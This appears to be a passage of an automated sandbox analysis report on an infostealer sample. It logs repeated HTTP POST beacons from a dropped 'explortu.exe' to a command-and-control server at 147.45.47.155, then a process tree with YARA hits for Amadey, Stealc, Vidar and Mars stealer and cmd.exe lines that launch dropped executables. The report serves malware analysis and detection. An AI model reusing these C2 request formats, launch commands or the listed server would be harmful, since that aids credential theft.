Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49850	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:25.507888079 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:26.181664944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49851	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:26.205224037 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:26.959645033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49852	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:27.083811045 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:27.750101089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49853	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:27.759608030 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:28.428648949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49854	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:28.553704023 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:29.228657961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49855	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:29.243578911 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:29.917823076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49856	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:30.035736084 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:30.729715109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49857	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:30.740932941 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:31.416152000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49858	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:31.534369946 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:32.202718019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49859	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:32.211419106 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:32.884630919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49860	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:33.002675056 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:33.694327116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49861	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:33.704452038 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:34.392904997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49862	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:34.517869949 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:35.185240030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49863	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:35.195085049 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:35.866990089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	49864	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:35.987611055 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:36.665517092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49865	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:36.674798012 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:37.373923063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49866	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:37.499170065 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:39:38.268882036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.5	49867	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:39:38.281852961 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:39:38.968681097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:39:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	01:37:05
Start date:	27/06/2024
Path:	C:\Users\user\Desktop\tAa6xNsucX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\tAa6xNsucX.exe"
Imagebase:	0xbf0000
File size:	2'509'824 bytes
MD5 hash:	B034EECF4642C53DB4EEB735C813BC27
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2305011823.0000000000BF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:37:22
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:37:22
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:37:22
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HCAAEGIJKE.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:37:22
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	01:37:22
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"
Imagebase:	0xc80000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2330410037.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2374235761.0000000000C81000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:37:28
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Imagebase:	0x320000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2377175817.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.4582173269.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:37:28
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x7ff6068e0000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2423428017.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2383183776.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:38:00
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x320000
File size:	1'903'104 bytes
MD5 hash:	CFB92ADDB19E8F0E8ED0B50A6EE59519
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2689256533.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2729842906.0000000000321000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:39:00
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
